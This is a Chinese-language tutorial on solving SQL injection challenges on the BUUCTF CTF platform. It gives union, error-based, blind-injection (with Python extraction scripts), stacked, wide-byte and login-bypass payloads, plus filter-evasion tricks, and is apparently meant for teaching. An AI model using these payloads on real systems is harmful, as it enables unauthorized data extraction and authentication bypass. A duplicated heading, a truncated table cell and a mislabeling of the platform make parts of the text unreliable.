1. 为什么BUUCTF是练SQL注入的好靶场
1.1 BUUCTF题库的特点和题目分布
BUUCTF(Bugku CTF平台)在CTF圈子里算是比较“亲民”又耐刷的在线靶场,尤其对Web方向的新手非常友好。它的题目有一个很明显的特点:难度梯度拉得比较开,既有适合刚入门学生的简单题,也有能让老手翻车的高阶题。我在上面刷题的最大感受是,BUUCTF的Web题目很少是那种“纯考脑洞”的偏题怪题,大部分都贴着真实的Web漏洞场景,其中SQL注入几乎是每个Web选手都绕不开的基础题型。
具体到SQL注入这一块,BUUCTF涵盖的类型相当全:联合注入、报错注入、布尔盲注、时间盲注、堆叠注入、宽字节注入、二次注入、万能密码登录绕过,甚至还有一些需要结合文件读写或代码执行的复杂场景。这些题目虽然看起来分散,但它们的解题思路是共通的:先判断注入点,再判断注入类型,然后根据回显情况选择最合适的取数方式,最后拿到目标数据。只要把这条链路吃透,绝大多数SQL注入题都能在几分钟内解出来。
我经常看到有人在群里问“SQL注入怎么学”“怎么找flag”,其实答案就在这种靶场里。你在BUUCTF上刷完十几道SQL注入题,再去看看DVWA、Pikachu这些靶场的同类关卡,会发现自己已经能“一眼看出”注入点在哪、该用什么方式打。这种能力不是看书看出来的,是题目喂出来的。所以如果你想系统学习CTF中的SQL注入,BUUCTF绝对是一个性价比很高的练习场地。
1.2 SQL注入题的整体解题框架
很多新手拿到SQL注入题就急着往地址栏里塞'和and 1=1,然后看到页面报错就慌神,不知道该干什么。实际上SQL注入解题是有一套标准流程的,我把它总结成五个步骤:
第一步,确认注入点。不管是GET参数、POST参数、Cookie还是User-Agent,只要是后端拼SQL的地方,都有可能存在注入。常见的测试方法是加单引号、双引号,或者输入1 and 1=1、1 and 1=2这类对比值,看页面响应是否有差异。
第二步,判断注入类型。这一步决定你后面用哪种注入方式:如果页面有直接回显位置,优先考虑联合注入;如果页面报错信息能显示在页面上,优先考虑报错注入;如果页面没有回显、但能根据对错返回不同结果,那就走布尔盲注;如果页面跟没反应一样,那就试试时间盲注。
第三步,确定字段数和回显点。联合注入需要知道select的字段个数,一般用order by N逐个试;回显点则用union select 1,2,3...去探测页面会不会把哪个数字显示出来。
第四步,取库名、表名、字段名,最后取数据。CTF题的最终目标一般是flag,而flag通常藏在某个库的某张表的某个字段里,所以你要根据题目提示猜database(),然后顺藤摸瓜。
第五步,处理过滤和WAF。BUUCTF的题目不少是带过滤的,比如过滤空格、过滤union、过滤逗号,这时候就需要用各种绕过技巧。这一步最考验经验,也是我最想在下面重点展开的部分。
这套流程就像开锁:你得先摸清锁的结构,再决定用哪把钥匙。下面我按题型一个一个拆,把每一步的细节和坑都讲清楚。
2. 从注入点到数据提取:四大高频题型拆解
2.1 联合注入:效率最高的取数方式
联合注入(Union Injection)是所有SQL注入方式里“性价比”最高的一种,前提是页面有回显。它的原理非常简单:通过union select把原SQL的结果和我们自己构造的查询结果合并在一起,然后让页面把我们查询到的数据打印出来。打个比方,原来的SQL是“把id=1的用户名字打出来”,你通过union让它变成“把id=1的用户名字和flag表里的内容一起打出来”,页面自然会泄漏你想要的数据。
在BUUCTF的题目里,最常见的联合注入入口是一个带id参数的URL,比如http://xxx/?id=1。第一步先试探:
?id=1'如果页面报错,说明单引号参入了SQL并引起语法错误。接着用:
?id=1 order by 1 ?id=1 order by 2 ?id=1 order by 3逐个增加数字,直到页面报错为止。比如order by 3正常、order by 4报错,说明当前查询有3个字段。这一步的目的是对齐union select的列数,列数不对就无法正常联合查询。
确认字段数后,用:
?id=-1 union select 1,2,3这里把id改成负数是个关键细节,因为如果id=1有正常数据,union的结果会把我们构造的数据排在后面,页面可能只显示第一条,看不到我们想要的内容。把id改成不存在的负数,原查询结果为空,我们构造的数据自然就成为第一条显示出来。接下来观察页面哪个位置出现了1、2、3,那个位置就是回显点。
假设页面在第2个和第3个位置回显了数字,就可以直接替换成数据获取语句:
?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()这条语句里的group_concat是一个很实用的函数,它能把多行结果拼成一行,方便一次性看完所有数据。换成字段名的时候,通常用group_concat(column_name)配合information_schema.columns来查:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'最后把目标字段的数据取出来。整个过程只要回显点找得准,基本一两分钟就能出货。注意一个细节:BUUCTF和很多CTF题目里,flag表名和字段名经常不是一个大白话的flag,可能是flag、fllllag、secret之类,所以information_schema字典表一定要查仔细,不要只盯着flag这一个名字。
2.2 报错注入:信息回显的备用武器
2.2 报错注入:信息回显的备用武器
联合注入虽然好用,但很多题偏偏不给你回显点,或者过滤了union。这时候如果页面能把SQL报错信息打印出来,就可以用报错注入。报错注入的核心思路是:构造一个能让MySQL报错的表达式,并且在报错信息里带上我们想查的数据。最经典的三个函数是updatexml、extractvalue和floor(rand(0)*2)。
以updatexml为例,它的完整用法是updatexml(目标文档, XPath路径, 新内容)。只要把第二个参数写成一个不存在的XPath表达式,MySQL就会把这条表达式原样报出来。我们刚好把要查的数据拼到这个表达式里,数据就会跟着报错信息一起显示。典型的语句长这样:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+0x7e是~的十六进制表示,用来在报错信息里加一个特殊字符,方便我们定位数据位置。执行之后,页面上会出现类似XPATH syntax error: '~数据库名~'的报错,数据库名就夹在里面。
这里有一个非常关键的坑:updatexml和extractvalue的报错输出长度只有32个字符,也就是说一次最多显示32个字符。如果你查group_concat(table_name) from information_schema.tables,结果很可能被截断。解决办法是用substr把数据分段取出来,比如:
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31)),1) --+然后再把起点改成32,31、64,31,分段把完整数据捞出来。很多人第一次用报错注入时,发现报错信息里只有一半数据,就以为题目有问题,其实只是没处理截断。我在BUUCTF刷题时,至少有两三道题都栽在这个细节上,后来写了个小脚本把substr的偏移量自动循环跑,才彻底省心。
另外,如果你想快速判断是哪种注入方式,可以直接在id=1'后分别试and updatexml(1,1,1)、and extractvalue(1,1),如果页面出现了XPath报错,说明可以用报错注入。这个判断方法比盲目去跑union快得多。
2.3 盲注:没有回显时的手工与脚本打法
盲注是所有SQL注入类型里最考验耐心和细心的,因为页面不会直接显示查询结果,你只能通过页面状态的变化来推断数据。BUUCTF里的盲注题目一般有两种:布尔盲注和时间盲注。
布尔盲注的思路是:把要查询的数据逐字符提取出来,然后构造一个判断条件,让页面在条件成立时返回一种状态(比如正常页面),条件不成立时返回另一种状态(比如空白页或报错页)。核心函数是substr(或substring)和ascii。比如要判断当前数据库名的第一个字符:
?id=1 and ascii(substr(database(),1,1))>100 --+如果页面正常,说明第一个字符的ASCII码大于100,继续二分缩小范围;如果页面异常,就调整阈值。手工做这个操作非常痛苦,因为一个字符要试很多次。我建议直接用脚本跑,用Python的requests库循环发送请求,根据页面长度或内容特征判断布尔结果。
我写布尔盲注脚本时的固定套路是先定义判断函数:
def is_true(payload): url = "http://xxx/?id=1" + payload r = requests.get(url) return len(r.text) > 某个基准值 # 根据题目设置然后写一个二分查字符的函数:
def get_char(sql, pos): left, right = 32, 127 while left <= right: mid = (left + right) // 2 payload = f"' and ascii(substr(({sql}),{pos},1))>{mid} --+" if is_true(payload): left = mid + 1 else: right = mid - 1 return chr(left)这里用二分查找比逐个ASCII码遍历要快很多,一个字符最多试7次左右。最后外层循环遍历每个位置,拼出完整数据。另外要注意一点:很多盲注题目页面的正常响应长度是固定的,但带广告或者动态内容时可能不稳定,建议抓取页面里真正判断成功与否的关键特征,不要只依赖长度。
时间盲注比布尔盲注更隐晦,页面完全没有反馈差异,只能通过响应时间来判断。核心函数是sleep(),配合if条件:
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),0) --+如果页面等了3秒才响应,说明条件成立。时间盲注的脚本和布尔盲注几乎一样,只是判断标准从“页面内容不同”换成了“响应时间大于某个阈值”。需要注意的是,时间阈值要设得合理:如果sleep(3)但网络本身有1秒延迟,你至少得等3秒以上才认为是真;如果if里的查询本身很慢,也要适当放大阈值,避免误判。
盲注在真实世界里就是典型的“数据外带”场景,手工几乎不可行,脚本能力是必须的。我在BUUCTF里刷盲注题时,最大的感受是:写好脚本之后,题目本身反而花不了多少时间,因为盲注的逻辑是死的,过程就是“发请求、判断、二分、拼接”。如果你能随手写出盲注脚本,说明SQL注入确实入门了。
2.4 堆叠注入与特殊场景
除了常规的查询注入,BUUCTF里还出现过一种比较“有意思”的情况:堆叠注入。堆叠注入的原理是,后端没有使用参数化查询,而是直接把用户输入拼进SQL语句,并且支持一次执行多条语句,也就是说你可以用分号;把两条SQL语句拼在一起。比如:
?id=1'; show tables; --+实际上,堆叠注入在CTF里最常见的场景是配合set或handler读取数据,因为很多情况下union、select这些关键字被过滤了,但分号没有被过滤。比如你可以执行:
?id=1'; show columns from flag; --+或者用handler逐行读取表内容:
?id=1'; handler flag open; handler flag read first; --+这条语句在某些过滤严格的题目里非常有用,因为handler不走select路径,很多正则过滤没有覆盖到它。
但要注意,堆叠注入有一个前提:PDO的query方法或MySQL驱动支持多语句执行。如果后端的查询是用预处理语句单条执行,堆叠注入就直接失效。所以在实际做题时,先用;测试一下:如果输入1'; select 1; --+没有报错,大概率可以堆叠;如果直接报错或者被拦截,就放弃这条路。
另外一类特殊场景是“宽字节注入”,常见于后端使用了GBK编码并且开启了对单引号的转义(addslashes或mysql_real_escape_string)。注入的思路是在单引号前加一个%df,让转义符\和%df结合成一个中文字符,单引号成功逃脱。经典的payload形如:
?id=%df' and 1=1 --+BUUCTF里有几道题专门考这个,如果你发现'被转义成\'但插入%df后不报错了,那就是宽字节注入。解法是闭合好单引号后,正常走联合注入或报错注入流程。这里有个容易踩的坑:在URL里直接敲中文或%df时,浏览器或工具可能会进行二次URL编码,导致%df变成%25df,转义失败。建议用Burp Suite或其他不自动编码的HTTP工具来发请求。
3. 绕过过滤的实战技巧与payload设计
3.1 常见过滤方式与绕过口诀
CTF里的SQL注入很少是“裸奔”的,大部分题目都会设置一层或多层过滤。BUUCTF的题目在这一点上做得相当好,既有过滤空格、union、select、and、or的常规题,也有过滤逗号、注释符、下划线的高阶题。我把这些过滤的绕过方法总结成一套口诀,方便记:空格用注释替,字符用编码绕,逗号用函数代,关键字用双写破,大小写轮着试,内联注释急时用。
具体展开来说:
空格过滤时,最常用的替代方案是/**/注释符,比如union/**/select;MySQL里还可以用括号把子查询包起来,比如(select ...)在部分场景下不需要空格。如果/**/也被过滤,可以尝试%0a、%0b、%0c、%0d、%09、%20这些空白字符的URL编码,有些过滤规则不会把tab键和换行符过滤掉。
union和select被过滤时,最简单的办法是大小写混写,比如UnIoN SeLeCt;如果后端做了大小写归一化,就试试双写,比如ununionion,过滤器把中间的union删掉后,剩下的刚好拼成union。另一种思路是使用MySQL内联注释/*!50000union*/,MySQL会在/*!后面加上版本号时正常解析注释里的内容,而很多正则过滤没有覆盖这种写法。
逗号被过滤时,substr(str,1,1)这种函数就没法用了,可以换成substr(str from 1 for 1)的语法,limit也可以写limit 1 offset 0。这些变体是MySQL官方支持的,效果完全一样。
关键字过滤时,除了双写,还可以用等价函数替换,比如用like代替=,用regexp或rlike代替like,用in代替=,用hex()或char()构造字符串。information_schema被过滤时,可以尝试用mysql.innodb_table_stats、sys.schema_table_statistics这类MySQL默认存在的系统库,某些题目没过滤这些表名的关键字。
记住,绕过的本质是找一个“后端过滤规则没覆盖、但MySQL仍能正常解析”的表达形式。没有万能的payload,只有不断试探和积累的套路。我在BUUCTF刷题时,喜欢用Burp Suite的Intruder先跑一遍过滤字符,看哪些符号被过滤了,再根据过滤结果设计payload,比自己瞎猜高效得多。
3.2 从BUUCTF真题看过滤绕过
我拿一道典型的BUUCTF SQL注入题来说说完整的绕过思路。题目是一个带id参数的页面,你输入1',页面直接报错并且回显了MySQL的语法错误。但是当你输入1' and 1=1 --+时,页面却提示“你在错误地使用and/or”。
我最初的判断是and被过滤了,于是试1' && 1=1 --+,页面正常;试1' || 1=1 --+,页面也正常,说明and和or确实被过滤,但&&、||还能用。接着试union select,发现union被过滤,于是我改成UnIoN,不行;改成ununionion,页面竟然正常了,说明后端用的是简单的替换过滤而不是正则匹配。最后用-1' ununionion selselectect 1,2,3 --+,回显点出来了,后续取数就一路通畅。
这个例子里最重要的是“试探意识”:不要因为and被过滤就放弃,试试&&;不要因为union被过滤就放弃,试试双写或大小写。CTF的精髓就是和出题人斗智斗勇,过滤规则总有盲区。
还有一种常见的坑是注释符。MySQL的注释除了--空格和#,还可以用/* */。但如果过滤了--或#,你连闭合语句都可能做不到。这时候可以试试;%00截断(在某些PHP版本下有效),或者干脆不注释,直接利用闭合方式把多余部分“吸收”掉,比如把payload写成id=1' union select 1,2,3 'a,让末尾的'a和原SQL剩下的内容拼成一个字符串。不过这种写法比较脏,容易踩坑,建议优先用注释。
3.3 万能密码与登录绕过
登录框的SQL注入是BUUCTF里一个很基础也很经典的考法,通常出现在“SQL注入登录绕过”或“万能密码”类题目里。原理非常简单:后端校验登录时拼的SQL类似:
SELECT * FROM users WHERE username='$username' AND password='$password'哪怕你不知道用户名和密码,只要让WHERE条件恒为真,就能绕过登录。最经典的万能密码payload是:
用户名:admin' or '1'='1 密码:随便填或 ' or '1'='1' --+拼进去之后的SQL变成了:
SELECT * FROM users WHERE username='admin' or '1'='1' AND password='xxx'因为or '1'='1'为真,整个WHERE条件成立,查询返回了数据,登录自然就绕过了。如果第一行没生效,可以试试把用户名写成' or 1=1#(#是MySQL注释),或者admin'--+把后面的密码判断直接注释掉。
但CTF题不会这么简单就放过你。很多登录框题目其实在考你如何把数据从数据库里“拖”出来,而不只是登录成功。这时候就需要结合报错注入或联合注入去查information_schema里的表结构,找到存放flag的表和字段。比如登录遇到错误提示时,如果把后端SQL报错信息直接显示在页面上,你就可以在上面的注入点里塞updatexml报错注入,逐段拖出表名和字段数据。
4. 新手刷题最容易踩的坑与排查方法
4.1 环境与请求层面的坑
先说一个看起来跟SQL注入没关系、但常让人怀疑人生的坑:靶场环境本身不稳定。BUUCTF的题目常常需要你点击页面上的“启动环境”或“开启实例”按钮,如果环境还没完全启动,页面可能返回超时、502,或者提示“环境已过期”。我见过不少新手对着一个打不开的页面疯狂试payload,折腾半小时才发现是环境本身挂了。所以拿到题的第一件事不是急着注入,而是先确认页面能正常访问,多刷新几次,或者重新开启环境。
请求层面还有一个高频问题:URL编码。你在浏览器地址栏直接输入',浏览器会自动编码成%27,这没问题;但你在Burp Suite里手动输入payload时,如果不做编码处理,Burp会原样发送单引号。关键是某些题目环境对特殊字符的处理方式不同,导致同样的payload在Burp里有效、在浏览器里无效,反之亦然。我建议统一使用Burp Suite或HackBar这类工具来发包,并且随时观察Raw请求里到底发了什么内容。如果某个payload在预期中应该把#当作注释,但实际请求里#被浏览器URL编码成%23了,后端收到的就不是注释符,语句直接闭合失败。
另一个容易被忽略的坑是HTTP方法。同样是id参数,GET注入和POST注入的测试位置完全不同。BUUCTF里有几道题把参数放在POST请求体里,甚至放在JSON格式里,如果你只盯着URL试,永远测不出来。遇到登录和查询功能时,务必把请求抓到Burp里看参数位置,再决定在哪儿注入。
4.2 注入判断层面的坑
很多新手在判断注入点时喜欢用1 and 1=1和1 and 1=2,但如果后端是字符型查询,你可能需要先闭合引号。比如SQL是SELECT * FROM news WHERE id='$id',你输入1 and 1=1,实际SQL是id='1 and 1=1',这会被当成字符串处理,完全不会触发注入。正确做法是先输入1'看报错,再输入1' and '1'='1和1' and '1'='2来对比。简单说,数字型注入直接加减乘除测试,字符型注入必须先闭合引号,这个细节决定了你的第一步能不能走通。
还有一个经典坑是“order by报错不代表字段数不存在”。在某些情况下,order by后面接的数字如果超过了字段数,确实会报错;但如果页面本身把报错信息隐藏了,你可能什么都看不到。这时候可以反着来,从大往小试,比如先order by 100确认报错,再逐步缩小范围。另外,order by里的数值也可以换成表达式,比如order by 1和order by 2返回不同排序结果,可以辅助判断字段数。
盲注判断里最常见的坑是“基准响应值选错了”。比如页面默认长度是2000字节,你注入一个false条件后长度变成1800,注入true条件后变成1810,这时如果你以“长度是否等于2000”来判断真假,就会得出完全错误的结论。正确做法是先把true和false各测几次,统计出两个长度区间,然后以某个阈值来划分真假,或者干脆提取页面里唯一变化的特征字符串来判断。
4.3 脚本编写与效率优化
刷盲注题时,脚本效率直接决定你等结果的心情。我见过有人用逐字符for i in range(32,127)遍历,一个字符试95次,一个库名五六秒才出来。实际上用二分查找可以把一个字符的查询次数压到7次以内,速度提升十倍不止。还有一个优化点:优先查询目标数据,而不是把所有数据库、表名全量拖出来。CTF题的flag一般不会藏在第一个库里,但你没必要把所有库都翻一遍,可以先查database()锁定当前库,再查当前库的表,命中flag表后直接取字段。
脚本里还有一个容易出错的细节:Cookie和会话维持。BUUCTF的部分题目需要先登录或带着某个Cookie才能访问注入页面,如果你在脚本里忘了带上登录态,请求会全部跳到登录页面,导致判断结果全是假的。我在写脚本时习惯先把浏览器请求复制成cURL格式,再转换成Pythonrequests代码,这样Headers和Cookie都不会漏。
时间盲注的脚本还要注意超时设置。requests默认没有超时时间,如果网速波动,一个请求可能卡很久,整个脚本就卡死了。建议给timeout设置一个合理值,比如sleep(3)的payload超时设为5秒;另外要用session复用TCP连接,避免每次请求都重新握手,能明显提升速度。
4.4 速查表:常见报错与应对
我把刷题过程中经常碰到的现场情况整理成一张速查表,方便你卡住的时候快速对号入座。
| 现象 | 可能原因 | 建议操作 |
|---|---|---|
| 输入单引号后页面空白或直接跳转 | 后端开启错误显示关闭,或做了异常处理 | 改用布尔盲注方法,对比页面内容 |
union select回显内容不变 | 字段数不对或回显位置太靠后 | 用order by重查字段数,用负数id把原查询置空 |
报错信息显示XPATH syntax error | 正在走报错注入流程 | 正常现象,按concat(0x7e,数据,0x7e)格式取数据 |
| 报错数据只显示32个字符 | updatexml/extractvalue截断 | 用substr分段提取 |
order by从一开始就报错 | 注入点判断有误,可能是字符型或过滤了order | 先闭合引号再试,或改用group by代替order by |
页面过滤and/or | 关键字黑名单 | 用&&/` |
information_schema用不了 | 表名关键字被过滤 | 尝试mysql.innodb_table_stats等系统表 |
这张表覆盖了BUUCTF SQL注入题里80%的“卡壳点”。剩下的20%基本属于出题人临时发挥的骚操作,比如过滤函数、过滤编码、需要二次注入等,但只要基础链路跑得通,遇到新过滤规则时用上面说的“试探-归类-绕过”流程,基本都能找到解法。
写在后面的一点个人体会
我在BUUCTF上从第一道SQL注入题做到现在,最大的转变是:不再背payload,而是理解了payload背后的SQL执行逻辑。比如看一个updatexml报错注入,我脑子里的第一反应不是“这是updatexml”,而是“这里能把查询结果拼进XPath然后显示出来,所以可以使用它来外带数据”。这种理解让换一道新题时我的适应速度快了很多。刷题之余我也会去读一下别人写的WriteUp,经常发现有些解法我完全没想到,比如有人用handler读表、用sys.schema_table_statistics绕过表名过滤——这些思路都是靠大量的题目和交流堆出来的。所以如果你刚接触BUUCTF的SQL注入,别急着追求“一题秒杀”,先把每一道题注入的完整链路走通,再去看别人的解题思路,收获会大得多。毕竟SQL注入这个东西,看着是考数据库语法,实际上考的是你把一个输入变成一条SQL语句后,如何让它按你想要的方向执行。这个能力,只有在真实题目里反复磨才练得出来。